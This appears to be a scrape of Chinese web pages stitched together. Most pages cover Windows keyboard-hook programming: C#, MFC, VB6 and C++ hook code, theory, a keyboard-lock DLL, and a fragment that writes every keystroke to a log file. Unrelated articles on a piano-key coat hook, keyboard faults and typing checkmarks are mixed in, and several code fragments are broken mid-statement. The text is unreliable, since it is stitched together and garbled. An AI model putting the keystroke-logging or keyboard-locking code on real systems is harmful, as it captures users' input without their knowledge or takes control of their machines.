-1){preKeysList.Add(keyData);}}//WM_KEYDOWN和WM_SYSKEYDOWN消息,将会引发OnKeyDownEvent事件if (OnKeyDownEvent != null && (wParam == Win32Api.WM_KEYDOWN || wParam == Win32Api.WM_SYSKEYDOWN)) {KeyEventArgs e = new KeyEventArgs(GetDownKeys(keyData));OnKeyDownEvent(this, e);}//WM_KEYDOWN消息将引发OnKeyPressEventif (OnKeyPressEvent != null && wParam == Win32Api.WM_KEYDOWN){byte[] keyState = new byte[256];Win32Api.GetKeyboardState(keyState);byte[] inBuffer = new byte[2];if (Win32Api.ToAscii(KeyDataFromHook.vkCode, KeyDataFromHook.scanCode, keyState, inBuffer, KeyDataFromHook.flags) == 1){KeyPressEventArgs e = new KeyPressEventArgs((char)inBuffer[0]);OnKeyPressEvent(this, e);}}//松开控制键if ((OnKeyDownEvent != null || OnKeyPressEvent != null) && (wParam == Win32Api.WM_KEYUP || wParam ==Win32Api.WM_SYSKEYUP)){if (IsCtrlAltShiftKeys(keyData)){for (int i = preKeysList.Count - 1; i >= 0; i--){if (preKeysList[i] == keyData) { preKeysList.RemoveAt(i); }}}}//WM_KEYUP和WM_SYSKEYUP消息,将引发OnKeyUpEvent事件if (OnKeyUpEvent != null && (wParam == Win32Api.WM_KEYUP || wParam == Win32Api.WM_SYSKEYUP)){KeyEventArgs e = new KeyEventArgs(GetDownKeys(keyData));OnKeyUpEvent(this, e);}}return Win32Api.CallNextHookEx(hHook, nCode, wParam, lParam);}//根据已经按下的控制键⽣成keyprivate Keys GetDownKeys(Keys key){Keys rtnKey = Keys.None;foreach (Keys i in preKeysList){if (i == Keys.LControlKey || i == Keys.RControlKey) { rtnKey = rtnKey | Keys.Control; }if (i == Keys.LMenu || i == Keys.RMenu) { rtnKey = rtnKey | Keys.Alt; }if (i == Keys.LShiftKey || i == Keys.RShiftKey) { rtnKey = rtnKey | Keys.Shift; }}return rtnKey | key;}private Boolean IsCtrlAltShiftKeys(Keys key){if (key == Keys.LControlKey || key == Keys.RControlKey || key == Keys.LMenu || key == Keys.RMenu || key == Keys.LShiftKey || key == Keys.RShiftKey) { return true; }return false;}}5. 5在主窗体中添加代码,如下:public MainForm(){InitializeComponent();}KeyboardHook kh;private void Form1_Load(object sender, EventArgs e){kh = new KeyboardHook();kh.SetHook();kh.OnKeyDownEvent += kh_OnKeyDownEvent;}void kh_OnKeyDownEvent(object sender, KeyEventArgs e){if (e.KeyData == (Keys.S | Keys.Control)) { this.Show(); }//Ctrl+S显⽰窗⼝if (e.KeyData == (Keys.H | Keys.Control)) { this.Hide(); }//Ctrl+H隐藏窗⼝if (e.KeyData == (Keys.C | Keys.Control)) { this.Close(); }//Ctrl+C 关闭窗⼝if (e.KeyData == (Keys.A | Keys.Control | Keys.Alt)) { this.Text = "你发现了什么?"; }//Ctrl+Alt+A}private void Form1_FormClosing(object sender, FormClosingEventArgs e){kh.UnHook();}}6. 6代码添加完毕后,运⾏调试。

mfc 键盘hook例子

mfc 键盘hook例子

mfc 键盘hook例子MFC键盘钩子示例本示例展示了如何在 MFC 应用程序中使用键盘钩子来监视键盘输入。

创建键盘钩子1. 在 MFC 应用程序中添加一个新类,例如 `CKeyboardHook`。

2. 在 `CKeyboardHook` 类中,实现 `SetWindowsHookEx` 函数来设置键盘钩子。

此函数接收以下参数:- WH_KEYBOARD:指定要安装的钩子类型(键盘钩子)- `CKeyboardHook::HookProc`:指向钩子回调函数的指针- `GetCurrentThreadId()`:当前线程的标识符- 0:表示钩子应安装在所有线程中以下是 `SetWindowsHookEx` 函数的示例代码:```cppbool CKeyboardHook::InstallHook(){m_hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, GetCurrentThreadId(), 0);return m_hHook != NULL;}```钩子回调函数3. 实现钩子回调函数 `CKeyboardHook::HookProc`。

此函数将在每次按下或松开键盘键时调用。

4. 回调函数应接收以下参数:- `int nCode`:指定钩子代码(例如 HC_ACTION)- `WPARAM wParam`:与此钩子关联的其他信息- `LPARAM lParam`:指向包含按键信息的`KBDLLHOOKSTRUCT` 结构的指针以下是 `CKeyboardHook::HookProc` 函数的示例代码:```cppLRESULT CALLBACK CKeyboardHook::HookProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode == HC_ACTION){KBDLLHOOKSTRUCT pKeyboardInfo = (KBDLLHOOKSTRUCT)lParam;// 处理键盘输入}return CallNextHookEx(NULL, nCode, wParam, lParam);}```处理键盘输入5. 在 `CKeyboardHook::HookProc` 回调函数中,可以处理键盘输入。

VB2010VBNET源码 HOOK 键盘钩子

VB2010VBNET源码 HOOK 键盘钩子
If p.vkCode = VK_MENU Or p.vkCode = VK_TAB Then blnHook = True '按下了Alt+Tab键
Case Else
'do nothing
End Select
End Sub
这只是简单的屏蔽了几个键,当然如果要屏蔽更多的键,只要在模块的LowLevelKeyboardProc函数中设置你想要拦截键盘键值过滤掉就可以了。
Call CopyMemory(p, ByVal lParam, Len(p))
If p.vkCode = VK_LWIN Or p.vkCode = VK_RWIN Then blnHook = True '按下了左/右Win键
If p.vkCode = VK_CONTROL Or p.vkCode = VK_ESCAPE Then blnHook = True '按下了Ctrl+Esc键
End Type
Private Const WM_KEYDOWN = &H100
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYUP e Const VK_LWIN = &H5B
End Function
Public Sub HooK()
lngHook = SetWindowsHookEx(WH_KEYBOARD_LL, _
AddressOf LowLevelKeyboardProc, _
App.hInstance, _

C++的键盘钩子

C++的键盘钩子

Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。

而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。

钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。

这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。

可见,利用钩子可以实现许多特殊而有用的功能。

因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。

钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。

(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。

(3)外壳钩子可以监视各种Shell事件消息。

比如启动和关闭应用程序。

(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

此外,还有一些特定事件的钩子提供给我们使用,不一一列举。

下面描述常用的Hook类型:1、WH_CALLWNDPROC和WH_CALLWNDPROCRET HooksWH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。

系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。

WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。

CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。

2、WH_CBT Hook在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;2. 完成系统指令;3. 来自系统消息队列中的移动鼠标,键盘事件;4. 设置输入焦点事件;5. 同步系统消息队列事件。

WinCE系统鼠标键盘钩子使用方法

WinCE系统鼠标键盘钩子使用方法
在程序初始段打开 GPIO,获得 GPIO 句柄。 #include "isa_dio.h" HANDLE hGpio; hGpio = OpenGPIO( _T("PIO1:"));
3/5
成都英创信息技术有限公司
WinCE 系统鼠标键盘钩子使用方法
添加 Beep 函数,通过 GPIO 句柄操作 GPIO15。 void Beep() {
创建需要挂入系统的消息处理函数 即钩子函数,钩子函数定义必须为制定的格式。 钩子函数根据实际应用需求,决定是否调用 CallNextHookEx,将消息传递给后面的钩子处理。 首位的钩子函数返回值决定该消息是丢弃,还是传给系统消息处理函数,再分发给各窗口。 以下为键盘及鼠标钩子函数的示例。
键盘钩子函数
1/5
成都英创信息技术有限公司
WinCE 系统鼠标键盘钩子使用方法
使用钩子需要用到函数,SetWindowsHookEx,UnhookWindowsHookEx,CallNextHookEx。 及键盘钩子鼠标钩子的定义,及键盘消息,鼠标消息的结构体定义,均定义在 pwinuser.h 中。
#include "pwinuser.h"
该键盘钩子示例函数中,当检测到按键‘1’按下时,调用 Beep 函数触发蜂鸣器。
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *) lParam;
这时,可以使用键盘鼠标钩子来实现这些功能。
钩子是 WINDOWS/WINCE 系统独有的消息处理机制。通过系统调用,将消息处理程序段挂入系统, 获得消息处理优先控制权,在消息达到目的窗口前进行处理。钩子函数可以通过判断决定是否加工处理 (改变)消息,或不做处理继续传递各消息,或强制结束消息传递。

钢琴键挂钩的制作方法

钢琴键挂钩的制作方法

钢琴键挂钩的制作方法
材料:
1. 旧钢琴键盘。

2. 钢丝钳。

3. 钻头。

4. 钻孔机。

5. 钩子。

6. 涂料(可选)。

步骤:
1. 准备旧钢琴键盘,可以从旧的废弃钢琴上拆下一整块钢琴键盘,或者购买一些旧的钢琴键盘作为材料。

2. 清洁和修整,清洁钢琴键盘,去除旧漆和污渍。

如果有需要,修复损坏的键盘。

3. 确定挂钩位置,决定每个钢琴键上的挂钩位置。

可以根据需
要在每个键上钻一个小孔。

4. 钻孔,使用钻头和钻孔机在每个位置上钻孔,确保孔的大小
适合所选用的挂钩。

5. 安装挂钩,将挂钩插入钻好的孔中,确保挂钩牢固地固定在
钢琴键上。

6. 可选的涂装,如果需要,可以给钢琴键盘涂上喜欢的颜色或
者清漆进行保护。

通过以上的步骤,一个独特的钢琴键挂钩就制作完成了。

这个
挂钩可以用于挂衣服、包包或其他小物件,同时也能为家居增添一
份别致的艺术氛围。

希望这个制作方法对你有所帮助!。

键盘钩子失灵的原因 -回复

键盘钩子失灵的原因 -回复

键盘钩子失灵的原因-回复键盘钩子失灵的原因及解决方法引言:在我们的日常生活和工作中,键盘是我们最常用的输入工具之一。

然而,有时我们可能会遇到键盘钩子失灵的情况,这给我们的工作和学习带来了很多不便。

那么,键盘钩子失灵的原因是什么呢?如何解决这个问题呢?本文将一步一步回答这些问题。

一、什么是键盘钩子?键盘钩子,又称为键盘挂钩,是一种计算机编程技术,用于监控和截取键盘输入。

通过键盘钩子,我们可以捕捉到用户输入的键盘消息,并进行相应的处理。

键盘钩子广泛应用于各种软件和系统中,例如键盘记录器、远程控制软件等。

二、键盘钩子失灵的原因:1.硬件故障:键盘钩子失灵的最常见原因是硬件故障。

例如,键盘上的某个按键可能被损坏,导致无法正常工作。

此外,连接键盘的接口线可能存在断线或接触不良,也会导致键盘钩子失灵。

2.软件问题:除了硬件故障,一些软件问题也可能导致键盘钩子失灵。

例如,操作系统可能存在某些缺陷,导致键盘钩子无法正常工作。

此外,安装了不兼容的软件或驱动程序也可能干扰键盘钩子的正常运行。

三、如何解决键盘钩子失灵的问题:1.检查硬件:首先,我们应该检查键盘本身是否存在故障。

可以尝试将键盘连接到另一台电脑上,看是否能正常工作。

如果键盘在其他电脑上也失灵,那么很可能是键盘本身的问题。

此时,我们可以尝试清洁键盘或更换键盘来解决问题。

2.检查连接和驱动程序:如果键盘在其他电脑上正常工作,那么问题可能出在连接和驱动程序上。

我们可以检查键盘连接线是否完好无损,并确保连接稳定。

同时,我们还可以升级或重新安装键盘驱动程序,以确保其与操作系统兼容。

3.排除冲突软件:在一些情况下,键盘钩子失灵可能是因为与其他软件的冲突。

我们可以尝试关闭一些可能与键盘钩子冲突的软件或进程,然后重新测试键盘是否能正常工作。

如果问题解决了,那么就可以确定是由于软件冲突导致的。

4.系统维修和更新:如果键盘钩子失灵问题仍然存在,我们可以尝试进行系统维修和更新。

对勾符号怎么打

对勾符号怎么打

对勾符号怎么打在今天的数字化时代,我们经常需要在网页、文档或社交媒体平台中使用各种符号来传达特定的含义或表示特定的概念。

其中之一就是对勾符号,也叫做勾号或勾选符号。

无论是在写作中还是在编辑文档时,了解如何打出对勾符号都是非常有用的。

在本篇文章中,我们将介绍不同的方法来打出对勾符号。

方法一:使用键盘快捷键在大多数文本编辑器和字处理软件中,可以通过某些特定的键盘快捷键来插入对勾符号。

以下是一些常用的方法:1. 使用Alt键:按住“Alt”键,然后在数字键盘上按下“251”,即可产生一个对勾符号(✓)。

2. 使用Unicode码:Unicode提供了用于输入符号的唯一标准码。

对勾符号的Unicode码是“U+2713”。

要在文档中输入对勾符号,可以使用Unicode输入方法。

先按住“Alt”键,然后输入“2713”,最后松开“Alt”键即可。

3. 使用特定的键盘布局:某些键盘布局在字母键盘上添加了对勾符号。

按住右边的“Alt Gr”键,并点击“2”键,即可输入对勾符号(√)。

4. 使用特定字体的字符映射:在一些特定的字体中,可通过字符映射来输入对勾符号。

这需要你在字体中找到对应的映射位置,并使用相应的键盘命令来插入对勾符号。

方法二:使用特定软件或工具1. 字符映射工具:你可以使用字符映射工具来查找并插入对勾符号。

这些工具通常提供对多种符号的搜索功能,并且可以复制所需的符号到剪贴板,以便在文档中进行粘贴。

2. 文本扩展工具:一些文本扩展工具允许你设置自定义快捷键或热键,以输入特定的符号,包括对勾符号。

通过设置适当的快捷键,你可以在需要时方便地插入对勾符号。

方法三:使用特殊字符面板(仅限某些操作系统)某些操作系统,如Windows和MacOS,提供了特殊字符面板,可方便地插入各种符号,包括对勾符号。

1. Windows系统下,你可以按下“Win + ;”键(或“Win + .”键),打开特殊字符面板。

在面板中,你可以搜索并插入对勾符号。

c#键盘钩子

c#键盘钩子

c#键盘钩子C#键盘勾子(Hook)拦截器,屏蔽键盘活动钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。

当消息到达后,在目标窗口处理函数之前处理它。

钩子机制允许应用程序截获处理window消息或特定事件。

钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。

每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。

这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

运行机制1、钩子链表和钩子子程:每一个Hook都有一个与之相关联的指针列表,称之为钩子链表,由系统来维护。

这个列表的指针指向指定的,应用程序定义的,被Hook 子程调用的回调函数,也就是该钩子的各个处理子程。

当与指定的Ho ok类型关联的消息发生时,系统就把这个消息传递到Hook 子程。

一些Hook子程可以只监视消息,或者修改消息,或者停止消息的前进,避免这些消息传递到下一个Hook子程或者目的窗口。

最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。

Windows 并不要求钩子子程的卸载顺序一定得和安装顺序相反。

每当有一个钩子被卸载,Windows 便释放其占用的内存,并更新整个Ho ok链表。

如果程序安装了钩子,但是在尚未卸载钩子之前就结束了,那么系统会自动为它做卸载钩子的操作。

钩子子程是一个应用程序定义的回调函数(CALLBACK Function),不能定义成某个类的成员函数,只能定义为普通的C函数。

用以监视系统或某一特定类型的事件,这些事件可以是与某一特定线程关联的,也可以是系统中所有线程的事件。

钩子子程必须按照以下的语法:LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam);HookProc是应用程序定义的名字。

打钩的符号

打钩的符号

打钩的符号
方法一:快捷组合键
在不选择任何输入法的情况下,按住alt键不松手,然后依次按下小键盘区的"4、1、4、2、0",即可打出对勾("√")符号;
方法二:输入法
直接输入“dui”,就可以看到“√”这个符号了。

方法三:符号大全
同样以搜孤输入法为例,在搜狗输入法的状态下,按住
“ctrl+shift+z”打开符号大全,就能看到√这个符号了。

方法四:文档内(以wps为例)
点击“插入”,在“子集”里面选择“数字运算符”可以快速找到√这个符号。

打√快捷键
方法一:word文档
1、进入文档文件后输入内容,点击想要在方框内打√的位置。

2、在当前位置输入数字2611后同时按下键盘上的Alt和X键。

3、数字2611就会变成方框内带√的图形了,选中图形可以修改具体属性。

方法一:excel表格
1、首先打开一个excel,进入首页编辑界面。

2、然后在上方菜单栏中“插入”选项的工具栏中找到“符号”图标并点击。

3、在【字体】下拉栏中选择【Wingdings】。

4、最后在下方的符号框中找到需要的符号,选择后点击【插入】就可以了。

钩子原理

钩子原理

[转]钩子原理钩子原理Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。

而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。

钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。

这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。

可见,利用钩子可以实现许多特殊而有用的功能。

因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。

钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。

钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。

此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。

在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。

在本程序中为方便起见采用了标准静态连接MFC DLL。

钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。

(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。

(3)外壳钩子可以监视各种Shell事件消息。

比如启动和关闭应用程序。

(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

C 编写键盘钩子

C  编写键盘钩子
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。编译完成便可得到运行时所需的键盘钩子的动态连接库和进行静态链接时用到的lib库。
下面开始编写调用此动态连接库的主程序,并实现最后的集成。另外创建一个单文档应用程序,把所需的动态链接库头文件、lib库复制到工程目录中,将动态链接库复制到Debug目录下。然后链接DLL库:在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通过"Project","Add To Project","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)

低级键盘钩子屏蔽Win键、Alt+Tab键的响应

低级键盘钩子屏蔽Win键、Alt+Tab键的响应
{
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
第一步,钩子DLL的实现。我们首先要定义一个全局数据区(记住这是一个全局钩子),如下(放在cpp文件的上头):
#pragma data_seg("mydata")
HHOOK glhHook = NULL; // 安装的鼠标钩子句柄
HINSTANCE glhInstance = NULL; // DLL实例句柄
#pragma data_seg()
然后在.def文件中声明这个数据区,如下:
SECTIONS
mydata READ WRITE SHARED
// 屏蔽Alt+Tab
((p->vkCode == VK_TAB) && ((p->flags & LLKHF_ALTDOWN) != 0)) &brvbar; &brvbar;
// 屏蔽Alt+Esc
如果你是基于Windows操作系统做系统集成的,你可能希望你的最终产品独占系统资源。你希望规范用户行为,比如你不希望用户通过按Ctrl+Alt+Del终止某个进程,或者按下Win键弹出开始菜单,
或者按下Alt+Tab组合键切换到别的应用程序。笔者已有相关一篇文章《Win2K/NT下屏蔽Ctrl+Alt+Del的响应》,介绍了如何通过GINA编程接口屏蔽Ctrl+Alt+Del的响应。作为续篇,本文将继续介绍屏蔽Win键和Alt+Tab组合键的方法。
case WM_SYSKEYUP:

键盘钩子在无纸化考试系统中的应用

键盘钩子在无纸化考试系统中的应用

T e Ap l a in o y o r o n a e x m y t m h pi t f c o Ke b a d Ho k i No —p p rE a S s e n

(. p . f rep n e c , a g h u CiiAva o l g , ag h u 5 0 0 , ia .c o l f c a ia E gn eig S uh Chn 1De t o rso d n e Gu n z o vl it nCol e Gu n z o 1 4 3Chn ; S h o Me h nc l n ie r , o t ia Co i e 2 o n
用 , 其 挂人 系统 。钩子 的种 类 有 很 多 , 将 每种 钩子 可 以截 获并 处理 相 应 的 消息 , 当 特定 的 消 息发 } , 到 达 目的 窗 口之 前 , 子 程 每 H在 钩 序 先 行 截 获该 消息 、 到 对 此消 息 的 控制 权 。此 时 在 钩 子 函 数 中 得 就 可 以对 截获 的消 息 进 行 加 工 处 理 , 至 可 以强 制 结 束 消息 的传 甚 递[ 。 1 】
维普资讯

计算 机 教 育 一 ・ 。 ・・
本 目 任 辑: 力 栏 责编 王
键盘钩子在无纸化考试系统 中的应 用
南亦 民 ’张 舞 杰 。
(. 州 良航 职 业技 术 学 院 , 东 广 州 5 0 0 ; 华 南 理 工 大学 机械 学 院 , 东 广 州 5 0 4 ) 1广 广 14 3 2 广 16 0
2 钩 子
钩 子 的 本 质 是 一 段 用 以 处 理 系 统 消 息 的程 序 ,通 过 系 统 调
HI S ANC Mo . / h n l o a p i ain i sa c N T E h d / a d e t p l t n tn e h e d i e t e 1 W w h e d d /t ra d n i r : i f

勾打出来的方法

勾打出来的方法

勾打出来的方法勾是一种简单而常见的符号,通常用来表示正确、完成或选择。

在日常生活中,我们经常使用勾来表示肯定或确认的意思。

除了用笔直接画出来,还可以通过其他方法来打出勾。

一种常见的方法是使用键盘上的特殊字符来打出勾的形状。

在英文键盘上,可以通过按下Shift键和数字6键,即^符号,来表示勾的形状。

而在中文输入法中,可以通过输入“√”来表示勾。

这些方法简单方便,适用于大多数的电子设备和软件平台。

除了键盘上的字符,我们还可以使用一些软件工具来打出勾。

例如,在Microsoft Office中,可以使用插入符号的功能来选择并插入勾的符号。

在物理世界中,我们可以使用印章或印章机来打印出勾的形状。

这些方法可以更加规范和美观地打出勾,适用于需要正式文档或证明的场合。

另一种常见的方法是使用手势来打出勾。

这个方法通常用于交流或示意的场合。

我们可以用手指直接画出勾的形状,也可以用手指在空中划出一条勾的轨迹。

这种方法简单直接,适用于日常生活中的各种场合。

除了手势,我们还可以使用工具或设备来打出勾。

例如,一些电子设备配备了触摸屏,我们可以用手指在触摸屏上划出勾的形状。

还有一些数字签名设备,可以让我们在电子文档上打出真实有效的勾,用于法律或业务的认证。

在一些特殊的场合,我们需要使用一些特殊的方法来打出勾。

例如,在体育比赛中,裁判员会使用红色或绿色的小旗来表示是否通过或完成。

在教育领域,老师会使用红色或绿色的批改笔来标记学生的作业是否正确。

这些方法通过颜色和形状的变化来表示勾的含义,更加直观和易于理解。

总的来说,打出勾的方法多种多样,适用于不同的场合和需求。

无论是在纸上、电子设备上,还是通过手势或工具,我们都可以通过简单的动作来表示正确、完成或选择。

这种简单而有力的符号,不仅在日常生活中有着广泛的应用,也在各行各业中起到了重要的作用。

无论是在签字确认文件,还是在考试批改作业,勾都是一个简单而有效的工具。

它的存在让我们的生活更加便利,工作更加高效。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

loadhook();
else
{
unloadhook();
::FreeLibrary(hDLL);
}
return 1;
}
EXPORTS
; Explicit exports can go here
EnableKeyboardCapture @1
DisableKeyboardCapture @2
这样我们用Depends.exe查看这个DLL时,就会发现这两个导出函数了。
}
上面就是DLL中最重要的代码,当然要使DLL能正常工作还要编辑KBLock.h文件:
__declspec(dllexport) BOOL EnableKeyboardCapture(); //加载钩子
__declspec(dllexport) BOOL DisableKeyboardCapture(); //卸载钩子
return CallNextHookEx(hhkHook,nCode,wParam,lParam);
}
//给出提示:键盘已经被锁定,要进行判断,看是否已有提示窗口,否则会弹个没完
if (!::FindWindow(0, "KeyBoard Locked"))
在CexeDlg类中加入一个成员函数:
/*sign = TRUE 锁定 sign = FALSE解锁*/
BOOL CExeDlg::KBLock(BOOL sign)
{
hDLL=::LoadLibrary((LPCTSTR)"KBLock"); //加载DLL
{
if (nCode < 0)
{
return CallNextHookEx(hhkHook,nCode,wParam,lParam);
}
if (nCode != HC_ACTION)
{
}
// This is an example of an exported variable
//导出函数:启动键盘锁定
BOOL EnableKeyboardCapture()
{
if(!(hhkHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,hInstance,0)))
if (hDLL!=NULL)
{loadhook=(LOADHOOK)::GetProcAddress (hDLL,"EnableKeyboardCapture");
unloadhook=(UNLOADHOOK)::GetProcAddress (hDLL,"DisableKeyboardCapture");
HINSTANCE hDLL=NULL;
LOADHOOK loadhook;
UNLOADHOOK unloadhook;
这样我们在两个按钮中分别加入KBLock(TRUE); 和 KBLock(FALSE);即可。
::MessageBox(0,"动态库加载失败!!!","Somthing Wrong",MB_OK);
return 0;
}
其中用到了事先定义好的全局变量:
typedef BOOL (CALLBACK *LOADHOOK)();
typedef BOOL (CALLBACK *UNLOADHOOK)();
给DLL初学者——全程键盘钩子的一种简单实现
作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站
-
随着中间件技术的发展, DLL越来越为程序员所关注,因为使用DLL具有一系列优点,所以程序设计人员可能更多的在自己的软件中采用这种技术。
下面我就把以前做过的一个简单的全程键盘钩子分析一下。
再编辑KBLock.def
; KBLock.def : Declares the module parameters for the DLL.
LIBRARY "KBLock"
DESCRIPTION 'KBLock Windows Dynamic Link Library'
{
::MessageBox(0,"键盘已经锁定!!!","KeyBoard Locked",MB_OK);
}
return 1; //没有return CallNextHookEx(hhkHook,nCode,wParam,lParam)则不会把消息//传递下去,所以我们的键盘就不起作用了
钩子[以下简称Hook]是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式[关于HOOK更详细的资料请查阅资料]。
HINSTANCE hInstance=NULL; //程序实例
ห้องสมุดไป่ตู้
//下面的DLLMain相当于Win32程序中的WinMain函数,是入口点
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
if(loadhook==NULL||unloadhook==NULL)
{::MessageBox(0,"对不起,本功能不能使用!!!","Somthing Wrong",MB_OK);
return 0;
}
if(sign)
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
DLL方面的工作已经完成,这样我们就可以在程序中调用它了。
虽然DLL是由VC开发的,但调用它的前台程序可以用任何其它支持DLL调用的语言如:VB、VC、DELPHI、Win32asm实现,下面还是以VC为例,实现DLL的调用。
建一基于Dialog的工程,在其中加入两个按钮:“Lock KeyBoard”“UnLock”
在VC中新建一Win32 Dynamic-Link Library 工程,工程名为KBLock。AppWizard会生成相关文件,编译生成的KBLock.cpp:
#include "stdafx.h"
#include "KBLock.h"
HHOOK hhkHook=NULL; //定义钩子句柄
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hInstance=(HINSTANCE)hModule; //得到DLL实例
return TRUE;
}
//这是处理键盘消息的主要函数,在其中进行禁止操作
LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam)
return FALSE;
return TRUE;
}
//导出函数:解除键盘锁定
BOOL DisableKeyboardCapture()
{
return UnhookWindowsHookEx(hhkHook);
相关文档
最新文档